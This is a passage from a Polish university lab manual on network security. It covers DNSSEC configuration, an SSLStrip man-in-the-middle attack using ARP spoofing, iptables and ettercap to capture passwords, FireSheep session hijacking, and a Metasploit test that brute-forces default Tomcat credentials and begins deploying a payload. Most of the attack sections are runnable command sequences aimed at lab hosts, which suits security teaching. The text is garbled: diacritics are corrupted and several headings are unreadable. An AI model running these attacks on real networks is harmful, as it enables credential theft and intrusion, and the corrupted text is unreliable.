Dodaj w pliku /etc/bind/named.conf.options w sekcji options wpis informuj�cy 
o wykorzystaniu protokołu DNSSEC i wskazuj�cy na serwer OpenDNS. Wpisz 
w konsoli: 

gedit /etc/bind/named.conf.options 

i w sekcji options wpisz: 

forwarders{ 
 208.67.222.222; 
}; 
 
dnssec-enable yes; 
dnssec-validation yes; 
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Rys. 3.13. Konfiguracja serwera BIND do korzystania z DNSSEC  

	ródło: opracowanie własne. 

3.4.6. Zapisz plik i zamknij edytor. 

3.4.7. Zrestartuj usług� BIND. Wpisz w konsoli: 

service bind9 restart 

3.4.8. Nast�pnie nale�y skonfigurowa� lokalny resolver DNS, aby korzystał  
z uruchomionego serwera DNSSEC. Wpisz w konsoli: 

gedit /etc/resolv.conf 

i zamie� zawarto�� pliku na nast�puj�c�: 

options ends0 
nameserver 127.0.0.1 

3.4.9. Zapisz plik i zamknij edytor. 

3.4.10. Sprawd� działanie serwera. Wpisz w konsoli: 

host wp.pl 
host dnssec-failed.org 
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Domena dnssec-failed.org jest domen� testow�, uruchomion� dla sprawdzenia 
poprawno�ci działania protokołu DNSSEC. Je�li serwer BIND skonfigurowany 
jest poprawnie, to wska�e adres IP serwera wp.pl, natomiast zgłosi bł�d 
(SERVFAIL) w przypadku domeny dnssec-failed.org. 

 
Rys. 3.14. Weryfikacja działania serwera BIND 

	ródło: opracowanie własne. 

3.5. I����+�!&�����#+=����
 ����	�1 �2#-�$����  �$#���0�

Program Unbound jest resolverem zapyta� DNS, korzystaj�cym z serwerów 
DNSSEC. 

3.5.1. Uruchom instalator programu Unbound znajduj�cy si� w pliku: 

<work_dir>/ARP-Spoofing/Unbound 1.4.7.exe 

3.5.2. Wci�nij Next. 

 
Rys. 3.15. Uruchomienie instalatora programu Unbound w systemie Windows 7  

	ródło: opracowanie własne. 
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3.5.3. Przeczytaj licencj� u�ytkownika ko�cowego (EULA) i wci�nij I agree. 

 
Rys. 3.16. Instalator Unbound – licencja EULA 

	ródło: opracowanie własne. 

3.5.4. Na nast�pnym ekranie mo�na wybra� składniki oprogramowania. Zaznacz 
opcj� Root anchor – DNSSEC i wci�nij Next. 

 
Rys. 3.17. Instalator Unbound – wybór składników  

	ródło: opracowanie własne. 
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3.5.5. Nast�pnie nale�y zdefiniowa� �cie�k� instalacyjn� dla programu. Wci�nij 
Next. 

 
Rys. 3.18. Instalator Unbound – �cie�ka instalacyjna  

	ródło: opracowanie własne. 

3.5.6. W kolejnym kroku mo�na zmieni� nazw� katalogu w menu Start. Wci�nij 
Install. 

 
Rys. 3.19. Instalator Unbound – menu Start  

	ródło: opracowanie własne. 
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3.5.7. Po pomy�lnej instalacji wci�nij Finish − program uruchomi si� automatycznie 
w tle. 

 
Rys. 3.20. Instalator Unbound − zako�czenie  

	ródło: opracowanie własne. 

3.6. W���% ��!&��"�2�"� �!"�� � 

3.6.1. Uruchom ponownie przegl�dark� internetow� na komputerze z systemem 
Windows 7 i wejd� na stron� www.google.com. 

 
Rys. 3.21. Weryfikacja zabezpieczenia systemu Windows  

	ródło: opracowanie własne. 
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W przegl�darce załadowała si� prawidłowa strona WWW, pomimo działaj�cego 
cały czas ataku DNS-spoofing. Wykorzystanie protokołu DNSSEC uniemo�liwia 
skuteczn� modyfikacj� b�d� sfałszowanie odpowiedzi serwera nazw domenowych. 
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4. A��*�������������)��
 � ������3 

Opracował: Sławomir Adamus  
Cel �wiczenia: wykonanie ataku Man In The Middle na szyfrowany 

ruch HTTPS 
Potrzebne narz�dzia: BackTrack Linux 4, sslstrip, Microsoft Windows 7 

Mozilla Firefox, FireSheep, Turnkey 
Literatura: M. Szmit, M. Tomaszewski, Hakowanie SSL, Hakin9 

10/2009, ss. 24-27. 
D. Rychcik, SSL – Teoria i zasada działania, 
http://muflon.photosite.pl/doc/progzesp/ssl.html z dnia 
2010.11.10. 

Atak SSLStrip jest atakiem typu Man-in-the-Middle (ang. człowiek po�rodku, 
atak polegaj�cy na podsłuchu i modyfikacji przesyłanych danych) wymierzonym 
w protokół SSL. Protokół ten słu�y do zapewnienia bezpiecznego poł�czenia  
z Internetem poprzez szyfrowanie komunikacji mi�dzy punktami ko�cowymi. 
Podstawowym zastosowaniem protokołu SSL jest zabezpieczenie protokołu 
HTTP (ang. Hypertext Transfer Protocol – protokół przesyłania dokumentów 
hipertekstowych). Prezentowany atak polega na przechwyceniu poł�czenia  
z bezpiecznym serwerem WWW (ang. World Wide Web – sie� ogólno�wiatowa) 
u�ywaj�cym protokołu HTTPS (ang. HyperText Transfer Protocol Secure – 
szyfrowana wersja protokołu HTTP). Atak polega na utworzeniu po�rednika 
(ang. proxy), przez którego kierowany b�dzie cały ruch sieciowy. W momencie, 
gdy ofiara b�dzie chciała nawi�za� poł�czenie szyfrowane po�rednik zamienia 
wszystkie zlecone przez u�ytkownika wywołania HTTPS na zwykłe wywołania 
HTTP. Ofierze przedstawiana jest zwykła strona HTTP, natomiast po drugiej 
stronie program nawi�zuje poł�czenie szyfrowane z serwerem wywołanym przez 
ofiar� i odtwarza na nim wszystkie ��dania. Je�li tylko cz��� strony WWW była 
szyfrowana, za� cała komunikacja odbywała si� po http, to w przegl�darce ofiary 
nie pojawi si� �aden komunikat o bł�dzie czy niewa�nym certyfikacie. Schemat 
ataku SSL Strip przedstawiony jest na rys. 4.1. W górnej cz��ci rysunku 
przedstawiona jest normalna (bezpieczna) droga komunikacji. W dolnej cz��ci 
schematu napastnik przechwytuje komunikacj� i zamienia ruch HTTPS na HTTP. 
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Rys. 4.1. Schemat ataku SSLStrip  
	ródło: opracowanie własne 

W drugiej cz��ci �wiczenia zaprezentowane zostanie narz�dzie FireSheep. 
Jest to dodatek do przegl�darki Firefox automatyzuj�cy atak przechwycenia 
sesji (ang. session hijacking) poprzez kradzie� ciasteczek (ang. cookies) oraz 
podszywanie si� pod przechwycone sesje. Powszechn� praktyk� projektowania 
serwisów internetowych jest wykorzystywanie bezpiecznego poł�czenia HTTPS 
wył�cznie podczas procesu logowania u�ytkownika do systemu. Pó�niejsza 
transmisja prowadzona jest z u�yciem niebezpiecznego protokołu HTTP,  
w którym komunikacja prowadzona jest jawnie (brak szyfrowania). Praktyka taka 
umo�liwia m.in. ograniczenie zu�ycia zasobów serwera. U�ytkownicy serwisu 
po zalogowaniu rozró�niani s� w systemie po unikatowych identyfikatorach sesji, 
które przesyłane s� w nagłówkach HTTP przy ka�dym wywołaniu strony. 
Przechwycenie nagłówka z identyfikatorem sesji umo�liwia dost�p do prywatnych 
danych u�ytkownika z pomini�ciem procesu logowania. Przechwycony identyfikator 
sesji mo�na wykorzysta� dopóki u�ytkownik nie wyloguje si� z serwisu lub sesja nie 
wyga�nie (automatyczne wylogowanie po upływie zadanego czasu bezczynno�ci). 

Na rys. 4.2 zaprezentowana została topologia sieci wykorzystywanej  
w �wiczeniu. 
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Rys. 4.2. Topologia sieci wykorzystanej w �wiczeniu 

	ródło: opracowanie własne. 

Najnowsza wersja programu SSLStrip dost�pna jest pod adresem: 
http://www.thoughtcrime.org/software/sslstrip/ 

4.1. P�"�(#�#��� ������- 

Atak przeprowadzony b�dzie z maszyny z systemem BackTrack. W pierwszej 
cz��ci przeprowadzony zostanie atak SSLStrip skierowany przeciwko maszynom 
z systemami Windows i Ubuntu.  

Nast�pnie zaprezentowany zostanie dodatek do przegl�darki Mozilla Firefox 
automatyzuj�cy kradzie� ciasteczek (ang. cookies) i podszywanie si� pod 
przechwycone sesje. 

4.1.1. Uruchom wirtualn� maszyn� z systemem Debian i zaloguj sie do systemu. 

4.1.2. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz: 

ping –c 4 www.google.pl 
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4.1.3. Uruchom wirtualna maszyn� z systemem Windows 7 i zaloguj si� do 
systemu. 

4.1.4. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping www.google.pl 

4.1.5. Uruchom wirtualn� maszyn� z systemem Ubuntu i zaloguj sie do systemu. 

4.1.6. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz: 

ping –c 4 www.google.pl 

4.1.7. Uruchom wirtualn� maszyn� z systemem BackTrack 4 i zaloguj si� do 
systemu. 

4.1.8. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping www.google.pl 

4.1.9. Uruchom wirtualn� maszyn� z systemem Turnkey. 

4.2. A������3��� � 

4.2.1. Na maszynie z systemem BackTrack 4 skopiuj program SSLStrip (plik 
sslstrip-0.7.tar.gz) z płyty DVD z katalogu SSLStrip do katalogu roboczego 
lub pobierz archiwum z programem bezpo�rednio z witryny autora, wpisuj�c 
w konsoli systemu BackTrack: 

wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz 

4.2.2. Rozpakuj i zainstaluj program w systemie. Wpisz w konsoli: 

tar zxvf sslstrip-0.7.tar.gz  
cd sslstrip-0.7 
python ./setup.py install  
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4.2.3. Wykonaj atak ARP-spoofing. Wpisz w konsoli: 

echo 1 > /proc/sys/net/ipv4/ip_forward 
arpspoof –i eth0 –t 172.16.1.4 172.16.1.1  
arpspoof –i eth0 –t 172.16.1.1 172.16.1.4  

4.2.4. Nast�pnie nale�y umo�liwi� maszynom wirtualnym komunikacj� z serwerem 
TurnKey. Przejd� do maszyny z systemem Turnkey i odczytaj adres IP jaki 
został przydzielony maszynie z serwera DHCP. 

 
Rys. 4.3. TurnKey – konsola konfiguracyjna  

	ródło: opracowanie własne. 

4.2.5. Na maszynie z systemem Ubuntu dodaj na ko�cu pliku /etc/hosts wpis: 

192.168.5.108 ssl.bss 

Pami�taj, aby zamieni� adres IP na adres odczytany z konsoli systemu 
TurnKey. 

4.2.6. Nast�pnie powtórz czynno�� dla maszyny z systemem Windows 7. Dodaj 
do pliku C:\Windows\System32\drivers\etc\hosts wpis: 

192.168.5.108 ssl.bss 

Pami�taj, aby zamieni� adres IP na adres odczytany z konsoli systemu 
TurnKey 
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4.2.7. Uruchom przekierowanie pakietów z portu 80 (www) na port 10000 
(standardowy port programu SSLStrip) przy pomocy narz�dzia iptables. 
Wpisz w konsoli: 

iptables –t nat –A PREROUTING –p tcp –destination-port 80 –j REDIRECT –to-
port 10000 

4.2.8. Uruchom program SSLStrip poleceniem: 

python sslstrip.py –w log_ssl 

4.2.9. Cały ruch protokołu SSL znajduje si� w pliku log_ssl. Aby otrzyma� hasła 
w bardziej przyst�pnej formie mo�na u�y� programu ettercap. Wywołanie 
programu ettercap: 

ettercap –T –q –i <int> 

gdzie: 

-T - u�ycie interfejsu tekstowego, 
-q - tryb cichy, program nie wy�wietla zawarto�ci pakietów, 
- i <int> - zdefiniowanie interfejsu, na którym nasłuchuje program. 

Wpisz w konsoli: 

ettercap –T –q –i eth0 

 
Rys. 4.4. Program Ettercap w systemie BackTrack  

	ródło: opracowanie własne. 
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4.2.10. Przejd� do maszyny z systemem Windows 7, uruchom przegl�dark� 
Internet Explorer i wejd� na stron� http://ssl.bss/sslstrip. 

 
Rys. 4.5. Windows 7 – program Internet Explorer  

	ródło: opracowanie własne. 

4.2.11. Zaloguj si� do portalu u�ywaj�c po�wiadcze�: 

Login: login 
Hasło: haslo 

4.2.12. Na maszynie z systemem BackTrack przechwycone zostały nazwa 
u�ytkownika i login do serwisu. 

 
Rys. 4.6. Przechwycone hasła  
	ródło: opracowanie własne. 
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4.2.13. Wyloguj si� z konta na stronie http://ssl.bss/sslstrip, klikaj�c przycisk   
   Wyloguj. 

4.2.14. Wył�cz programy arpspoof, sslstrip i ettercap. W tym celu wpisz w konsoli: 

killall python arpspoof ettercap 

4.3. A�������-���"�!7��!�� �����& �A�� ���7��� 

4.3.1. Do poprawnego działania wtyczka FireSheep wymaga zainstalowania 
sterownika WinPcap. Na maszynie z systemem Windows uruchom instalator 
programu WinPcap znajduj�cy si� w katalogu  

           <work_dir>/SSL/WinPcap_4_1_2.exe 

 
Rys. 4.7. Uruchomienie instalatora sterownika WinPcap  

	ródło: opracowanie własne. 

4.3.2. Uaktywni si� mechanizm Kontroli konta u�ytkownika – kliknij Tak. 

 
Rys. 4.8. WinPcap – mechanizm UAC  

	ródło: opracowanie własne. 
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4.3.3. Uruchomi si� instalator – kliknij dwukrotnie Next. 

 
Rys. 4.9. Instalator WinPcap − uruchomienie  

	ródło: opracowanie własne. 

 
Rys. 4.10. Instalator WinPcap − powitanie  

	ródło: opracowanie własne. 
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4.3.4. Nast�pnie przedstawiona zostanie licencja u�ytkownika ko�cowego. Kliknij  
I agree. 

 
Rys. 4.11. Instalator WinPcap – licencja EULA  

	ródło: opracowanie własne. 

4.3.5. Na kolejnym ekranie mo�na wybra� opcj� automatycznego uruchamiania 
sterownika WinPcap przy starcie systemu. Zaznacz opcj� Automatically 
start the WinPcap driver at boot time  i kliknij Install. 

 
Rys. 4.12. Instalator WinPcap – opcje  

	ródło: opracowanie własne. 
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4.3.6. Po zako�czeniu instalacji kliknij Finish. 

 
Rys. 4.13. Instalator WinPcap − zako�czenie  

	ródło: opracowanie własne. 

4.3.7. Nast�pnie uruchom instalator programu Mozilla Firefox znajduj�cy si�  
w katalogu <work_dir>\SSLStrip\Firefox Setup 3.6.13.exe. 

 
Rys. 4.14. Instalator Mozilla Firefox - uruchomienie  

	ródło: opracowanie własne. 
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4.3.8. Potwierd� uruchomienie instalatora. Kliknij Uruchom. 

 
Rys. 4.15. Instalacja Firefox – ostrze�enie o zabezpieczeniach  

	ródło: opracowanie własne. 

4.3.9. Po rozpakowaniu instalatora uaktywni si� mechanizm Kontroli konta 
u�ytkownika. Kliknij Tak. 

 
Rys. 4.16. Instalacja Firefox – mechanizm UAC  

	ródło: opracowanie własne. 
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4.3.10. Uruchomi si� instalator. Kliknij Dalej. 

 
Rys. 4.17. Instalator Firefox − uruchomienie  

	ródło: opracowanie własne. 

4.3.11. Na nast�pnym ekranie nale�y wybra� rodzaj instalacji. Wybierz opcj� 
Standardowa i kliknij Dalej. 

 
Rys. 4.18. Instalator Firefox – rodzaj instalacji  

	ródło: opracowanie własne. 
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4.3.12. W kolejnym kroku wy�wietlone zostanie podsumowanie. Kliknij  
    Zainstaluj. 

 
Rys. 4.19. Instalator Firefox − podsumowanie  

	ródło: opracowanie własne. 

4.3.13. Po zako�czeniu instalacji kliknij przycisk Zako�cz. 

 
Rys. 4.20. Instalator Firefox − zako�czenie  

	ródło: opracowanie własne. 



 

 119 

4.3.14. Przy pierwszym uruchomieniu program Firefox zaproponuje zaimporto- 
wanie ustawie� z przegl�darki Internet Explorer. Zaznacz opcj� Nie 
importuj niczego i kliknij Dalej. 

 
Rys. 4.21. Mozilla Firefox – pierwsze uruchomienie  

	ródło: opracowanie własne. 

4.3.15. Po uruchomieniu przegl�darki przejd� ponownie do katalogu 
<work_dir>/SSLStrip i przeci�gnij ikon� wtyczki firesheep-0.1-1.xpi  
na okno programu Firefox. 

 
Rys. 4.22. Uruchomienie instalacji dodatku FireSheep  

	ródło: opracowanie własne. 
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4.3.16. W przegl�darce pojawi si� okno Instalacja oprogramowania. Kliknij  
    Zainstaluj. 

 
Rys. 4.23. Dodatek FireSheep − instalacja 

	ródło: opracowanie własne. 

4.3.17. Nast�pnie nale�y uruchomi� ponownie program Firefox. W oknie 
Dodatki kliknij Uruchom ponownie program Firefox. 

 
Rys. 4.24. Firefox – ponowne uruchomienie 

	ródło: opracowanie własne. 

4.3.18. W oknie, które si� pojawi, zaznacz opcj� Nie pytaj ponownie i kliknij 
Uruchom ponownie. 

 
Rys. 4.25. Firefox – ponowne uruchomienie 

	ródło: opracowanie własne. 
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4.3.19. Po ponownym uruchomieniu przegl�darki zamknij okno Dodatki i przejd� 
do menu Widok -> Panel boczny -> Firesheep. 

 
Rys. 4.26. Firefox – uruchomienie dodatku FireSheep 

	ródło: opracowanie własne. 

4.3.20. Nast�pnie nale�y utworzy� plik konfiguracyjny dodatku Firesheep 
obsługuj�cy domen� ssl.bss. Wejd� w przegl�darce Firefox w menu 
Narz�dzia -> Dodatki. 

4.3.21. W oknie Dodatki kliknij przycisk Opcje przy dodatku Firesheep. 

 
Rys. 4.27. Mozilla Firefox – Dodatki  

	ródło: opracowanie własne. 
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4.3.22. W oknie Opcje przejd� na zakładk� Websites i kliknij przycisk Add. 

 
Rys. 4.28. Opcje dodatku Firesheep. 	ródło: opracowanie własne. 

4.3.23. W polu tekstowym wpisz ssl.bss i wci�nij OK. 

 
Rys. 4.29. Firesheep – nazwa konfiguracji. 	ródło: opracowanie własne. 

4.3.24. Na li�cie dost�pnych konfiguracji znajd� pozycj� ssl.bss i kliknij przycisk 
Edit. 

 
Rys. 4.30. Firesheep – edycja pliku konfiguracyjnego. 	ródło: opracowanie własne. 
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4.3.25. W oknie edycji konfiguracji wpisz plik konfiguracyjny dla domeny ssl.bss. 
Wpisz: 

register({ 
  name: "ssl.bss", 
  url: 'http://ssl.bss/?site=member', 
  domains: [ 'ssl.bss' ], 
  sessionCookieNames: [ 'PHPSESSID' ], 
 
  identifyUser: function () { 
    this.userName   = 'Student BSS'; 
  } 
}); 

lub skopiuj zawarto�� pliku z płyty DVD z pliku <work_dir>/SSL/firesheep-
config-ssl.bss.txt. 

 
Rys. 4.31. Plik konfiguracyjny dodatku Firesheep  

	ródło: opracowanie własne. 

Po wypełnieniu konfiguracji zamknij wszystkie okna konfiguracji dodatku. 
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4.3.26. W panelu Firesheep kliknij przycisk Start capturing. 

 
Rys. 4.32. FireSheep – rozpocz�cie przechwytywania  

	ródło: opracowanie własne. 

4.3.27. Na maszynie z systemem Ubuntu wejd� na stron� http://ssl.bss i zaloguj 
si�, u�ywaj�c po�wiadcze�: 

Login: bss 
Hasło: zaq1@WSX 

 
Rys. 4.33. Logowanie do portalu ssl.bss 

 	ródło: opracowanie własne. 
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4.3.28. Na maszynie z systemem Windows wtyczka Firesheep przechwyciła 
identyfikator sesji z witryny ssl.bss. 

 
Rys. 4.34. FireSheep – przechwycenie sesji 

	ródło: opracowanie własne. 

Kliknij na nazwie u�ytkownika w panelu wtyczki Firesheep. Załadowana 
zostanie strona ssl.bss z pomini�ciem procesu logowania. 

4.4. Zabezpieczenie 

Aby zabezpieczy� si� przed atakiem SSLStrip, nale�y przede wszystkim 
przygotowywa� strony logowania w ten sposób, aby nie zawierały one elementów 
nieszyfrowanych, a cały proces komunikacji odbywał si� po SSL. Aby unikn�� 
przechwycenia sesji, nale�ałoby w ogóle cał� komunikacj� z serwerem (nie tylko 
logowanie) prowadzi� w tzw. „ bezpiecznym”  poł�czeniu. Kolejnym zabezpiecze- 
niem mo�e by� zastosowanie szyfrowania transmisji wewn�trz tunelu SSL 
(stunnel), sieci VPN (ang. Virtual Private Network – wirtualne sieci prywatne) czy 
TOR (ang. The Onion Router – router cebulowy). Uniemo�liwi to napastnikowi 
przechwycenie komunikacji z serwerem WWW, zabezpieczaj�c zarówno przed 
atakiem SSLStrip, jak i przed przechwyceniem sesji (ang. session hijacking) 
realizowanym przez wtyczk� FireSheep. 

B�d�c administratorem witryny podatnej na atak typu session hijacking 
mo�emy przenie�� cało�� ruchu sieciowego na bezpieczny protokół HTTPS. Je�li 
implementacja protokołu HTTPS w obr�bie całej witryny jest niemo�liwa, mo�na 
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ograniczy� si� do ustawienia flagi „ Secure”  przy ciasteczku przechowuj�cym 
identyfikator sesji. Ustawienie tego parametru zabezpiecza przed wysyłaniem 
identyfikatora sesji przez protokół HTTP – ciasteczko wysyłane jest tylko do 
tych cz��ci witryny, które obsługiwane s� przez bezpieczn� wersj� protokołu. 

Nale�y równie� zawsze by� czujnym i sprawdza� czy serwer przedstawił 
prawidłowy certyfikat słu��cy szyfrowaniu transmisji. 
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5. TESTY PENETRACYJNE 

Opracował: Sławomir Adamus  
Cel �wiczenia: przedstawienie specyfiki i przebiegu testu 

penetracyjnego 
Potrzebne narz�dzia: BackTrack Linux 4, Metasploit Framework, Nessus, 

Nmap, Armitage 
Metasploitable, Debian  

Literatura: D. Maynor, K. K. Mookhey, J. Cervini, F. Roslan, K. 
Beaver, Metasploit Toolkit for penetration testing, 
exploit development and vulnerability research, wyd. 
Syngress 2007. 
M. Aharoni, W. Coppola, D. Kearns, D. Kennedy, M. 
Memelli, M. Moser, J. O'Gorman, D. Ovitz, C. Perez, 
Metasploit Unleashed – Mastering The Framework, 
http://www.offensive-security.com/metasploit-
unleashed/Metasploit_Unleashed_Information_Securit
y_Training dost�p z dnia 2010.11.15. 

Zadaniem testu penetracyjnego jest symulowanie rzeczywistego ataku, 
przeprowadzonego przez intruza. Obiektem atakowanym mo�e by� serwis 
internetowy, baza danych czy infrastruktura sieciowa. Testy penetracyjne słu�� 
wyszukiwaniu podatno�ci systemu IT na ataki, próbie przechwycenia informacji 
lub przełamania wybranych zabezpiecze�. Jest to proces maj�cy na celu 
praktyczn� ocen� bie��cego stanu bezpiecze�stwa systemu teleinformatycznego, 
w szczególno�ci obecno�ci znanych podatno�ci i odporno�ci na znane ataki. 

W �wiczeniu zaprezentowane zostan� przykładowe ataki z u�yciem 
�rodowiska Metasploit Framework oraz metody rozpoznania celu z u�yciem 
narz�dzi nmap i Nessus.  

W drugiej cz��ci �wiczenia zaprezentowane zostanie narz�dzie Armitage 
automatyzuj�ce proces wykrycia i przej�cia kontroli nad systemem. 

Schemat sieci wykorzystanej w �wiczeniu przedstawia rys. 5.1. 
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Rys. 5.1. Topologia sieci wykorzystanej w �wiczeniu  

	ródło: opracowanie własne. 

5.1. P�"�(#�#��� ������- 

5.1.1. Uruchom wirtualn� maszyn� z systemem Debian i zaloguj sie do systemu. 

5.1.2. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping –c 4 www.google.pl 

5.1.3. Uruchom wirtualn� maszyn� z systemem Metasploitable. 

5.1.4. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� wewn�trz sieci 
testowej. Wpisz w konsoli: 

ping –c 4 172.16.1.1 

5.1.5. Uruchom wirtualn� maszyn� z systemem BackTrack 4 i zaloguj si� do 
systemu. 

5.1.6. Upewnij si�, �e konfiguracja sieci pozwala na komunikacj� z Internetem. 
Wpisz w konsoli: 

ping –c 4 www.google.pl 



 

 129 

5.1.7. Na maszynie z systemem BackTrack zaktualizuj list� programów dost�pnych 
z repozytorium. Wpisz w konsoli: 

apt-get update 

5.1.8.  Zainstaluj program Nessus. Wpisz w konsoli: 

apt-get install -y nessus nessusd 

 
Rys. 5.2. Instalacja programu Nessus w systemie BackTrack  

	ródło: opracowanie własne. 

5.1.9. Zaktualizuj moduły programu Metasploit Framework. Wejd� do katalogu: 
/pentest/exploits/framework3. 
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Wpisz w konsoli: 

cd /pentest/exploits/framework3 

 
Rys. 5.3. BackTrack – katalog programu Metasploit Framework  

	ródło: opracowanie własne. 

5.1.10. Program aktualizowany jest poprzez repozytorium SVN (ang. Subversion 
– system kontroli wersji). Wpisz w konsoli: 

svn update 

Nast�pnie nale�y zaakceptowa� certyfikat serwera SVN. 
Wci�nij p i <Enter>. 

 
Rys. 5.4. Aktualizacja programu Metasploit Framework poprzez repozytorium SVN 

	ródło: opracowanie własne. 

5.2. Wykorzystanie narz�dzi nmap, Nessus, Metasploit 

5.2.1. Wykonaj skanowanie sieci, w której sie znajduje komputer ofiary. Wpisz 
w konsoli: 

nmap –sP 172.16.1.1/24  



 

 131 

Polecenie to wykona skanowanie typu ping (-sP), czyli tylko wykryje 
dost�pne w sieci hosty. 

 
Rys. 5.5. Nmap – skanowanie typu ping 

	ródło: opracowanie własne. 

W wyniku skanowania ujawniły sie 3 wł�czone maszyny. Atak zostanie wyko-
nany na maszyn� o adresie 172.16.1.6 (komputer z systemem Metasploitable). 

5.2.2. Uruchom serwer programu Nessus. Wpisz w konsoli: 

nessusd 

 
Rys. 5.6. Uruchomienie serwera programu Nessus  

	ródło: opracowanie własne. 

5.2.3. Uruchom drug� instancj� konsoli i dodaj u�ytkownika do programu 
Nessus. Wpisz w konsoli: 

nessus-adduser 
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Rys. 5.7. Nessus – dodanie u�ytkownika 

	ródło: opracowanie własne. 

5.2.4. Wpisz login nowego u�ytkownika: bss i wci�nij Enter. 

5.2.5. Nast�pnie nale�y wybra� metod� uwierzytelnienia. Wpisz pass i wci�nij 
Enter. 

 
Rys. 5.8. Nessus – wybór metody uwierzytelniania 

	ródło: opracowanie własne. 

5.2.6. Nast�pnie wprowad� hasło dla nowego u�ytkownika. Wpisz zaq1@WSX 
dwukrotnie. 

 
Rys. 5.9. Nessus – hasło dla nowego u�ytkownika 

	ródło: opracowanie własne. 

5.2.7. W kolejnym kroku nale�y nada� prawa dla nowego u�ytkownika. Wci�nij 
Ctrl +D, a nast�pnie wpisz y i Enter, aby potwierdzi� utworzenie nowego 
konta. 

 
Rys. 5.10. Nessus – ustawienie praw dla u�ytkownika 

	ródło: opracowanie własne. 
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5.2.8. Uruchom program Nessus. Wpisz w konsoli: 

nessus 

5.2.9. Poł�cz si� z serwerem Nessusd. W głównym oknie programu Nessus 
 w polu Login: wpisz bss, w polu Password: wpisz hasło zaq1@WSX  
i kliknij Log in. 

 
Rys. 5.11. Nessus – ł�czenie z serwerem 

	ródło: opracowanie własne. 

5.2.10. W oknie SSL Setup wybierz pierwsz� opcj� (Display and remember the 
server certificate, do not care about the CA) i kliknij Ok. 

 
Rys. 5.12. Nessus – zapisanie certyfikatu serwera 

	ródło: opracowanie własne. 
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5.2.11. Zatwierd� certyfikat serwera. Kliknij Yes. 

 
Rys. 5.13. Nessus – certyfikat serwera 

	ródło: opracowanie własne. 

5.2.12. Po zalogowaniu do serwera przejd� do zakładki Plugins i kliknij przycisk 
Enable all, aby wł�czy� wszystkie moduły odpowiedzialne za wykrywanie 
luk. 

 
Rys. 5.14. Nessus – wybór modułów  
	ródło: opracowanie własne. 
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5.2.13. Przejd� do zakładki Scan options aby zdefiniowa� parametry skano- 
wania. Zaznacz wszystkie opcje w polu Port scanners. 

 
Rys. 5.15. Nessus – parametry skanowania 

	ródło: opracowanie własne. 

5.2.14. Nast�pnie nale�y zdefiniowa� cel i uruchomi� skanowanie. Przejd� do 
zakładki Target, w polu Target wpisz 172.16.1.6 i kliknij przycisk Start 
the scan. 

 
Rys. 5.16. Nessus – zdefiniowanie celu skanowania 

	ródło: opracowanie własne. 
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Rys. 5.17. Nessus − skanowanie 
	ródło: opracowanie własne. 

5.2.15. Po zako�czeniu skanowania aplikacja Nessus wy�wietla podsumowanie. 
Kliknij Save report i zapisz podsumowanie w pliku html (ang. HyperText 
Markup Language − j�zyk znaczników hipertekstu). 

 
Rys. 5.18. Nessus – podsumowanie skanowania  

	ródło: opracowanie własne. 
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Rys. 5.19. Nessus – zapisanie raportu 

	ródło: opracowanie własne. 

5.2.16. Zamknij program Nessus, klikaj�c Close window, a nast�pnie Quit. 

 
Rys. 5.20. Nessus – okno skanowania 

	ródło: opracowanie własne. 
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5.2.17. Otwórz w przegl�darce raport programu Nessus. Program wykrył kilka 
potencjalnych podatno�ci na atak (wyró�nione na ekranie kolorem 
czerwonym). 

 
Rys. 5.21. Raport skanowania programem Nessus 

	ródło: opracowanie własne. 

Pod podsumowaniem zamieszczone s� dokładne informacje dotycz�ce 
wykrytych bł�dów oraz sugestie dotycz�ce wyeliminowania luk. 

5.2.18. Przeskanuj host z systemem Metasploitable w celu wykrycia rodzaju  
i wersji zainstalowanego oprogramowania. Na maszynie z systemem 
BackTrack wpisz w konsoli: 

nmap –sV 172.16.1.6 
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Rys. 5.22. Nmap – skanowanie z wykryciem wersji oprogramowania 

	ródło: opracowanie własne. 

W dalszej cz��ci �wiczenia wykorzystany zostanie bł�d konfiguracji serwera 
Apache Tomcat, w którym pozostawione zostały domy�lne hasła dost�powe. 
Serwer uruchomiony jest na porcie 8180 i korzysta z silnika JavaServer Pages  
w wersji 1.1. 

5.2.19. Uruchom �rodowisko Metasploit. Wpisz w konsoli: 

msfconsole 

 
Rys. 5.23. Uruchomienie �rodowiska Metasploit 

	ródło: opracowanie własne. 
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5.2.20. Najpierw nale�y wyszuka� odpowiedni moduł (ang. exploit – program 
maj�cy na celu wykorzystanie bł�dów oprogramowania) obsługuj�cy 
potencjalne zagro�enie. Wpisz w konsoli msf: 

search tomcat 

  
Rys. 5.24. Metasploit – wyszukiwanie modułów 

	ródło: opracowanie własne. 

5.2.21. Wybierz skaner tomcat_mgr_login. Wpisz w konsoli: 

use scanner/http/tomcat_mgr_login 

 
Rys. 5.25. Metasploit – wybór modułu 

	ródło: opracowanie własne. 
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5.2.22. Wy�wietl opcje konfiguracyjne modułu. Wpisz w konsoli: 

show options 

 
Rys. 5.26. Metasploit – konfiguracja modułu 

	ródło: opracowanie własne. 

5.2.23. Nale�y ustawi� adres IP atakowanego komputera oraz zmieni� port 
programu Tomcat z domy�lnego 8080 na 8180 wykryty podczas 
skanowania. Wpisz w konsoli: 

set RHOSTS 172.16.1.6 
set RPORT 8180 

 
Rys. 5.27. Metasploit – ustawienie parametrów modułu 

	ródło: opracowanie własne. 
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5.2.24. Uruchom skaner tomcat_mgr_login. Wpisz w konsoli: 

run 

 
Rys. 5.28. Metasploit – uruchomienie skanera  

	ródło: opracowanie własne. 

Skaner sprawdzi wszystkie domy�lne loginy i hasła programu Tomcat. Zielony 
znak [+] znajduj�cy si� przy próbie logowania oznacza pasuj�ce po�wiadczenia: 

Login: tomcat 
Hasło: tomcat 

5.2.25. Korzystaj�c z wyszukanego wcze�niej modułu tomcat_mgr_deploy mo�na 
przesła� payload (ang. ładunek, blok danych przesyłanych po udanym 
włamaniu do systemu) do atakowanej maszyny. Wpisz w konsoli: 

use multi/http/tomcat_mgr_deploy 

5.2.26. Ustaw niezb�dne opcje modułu. Wpisz w konsoli: 

set RHOST 172.16.1.6 
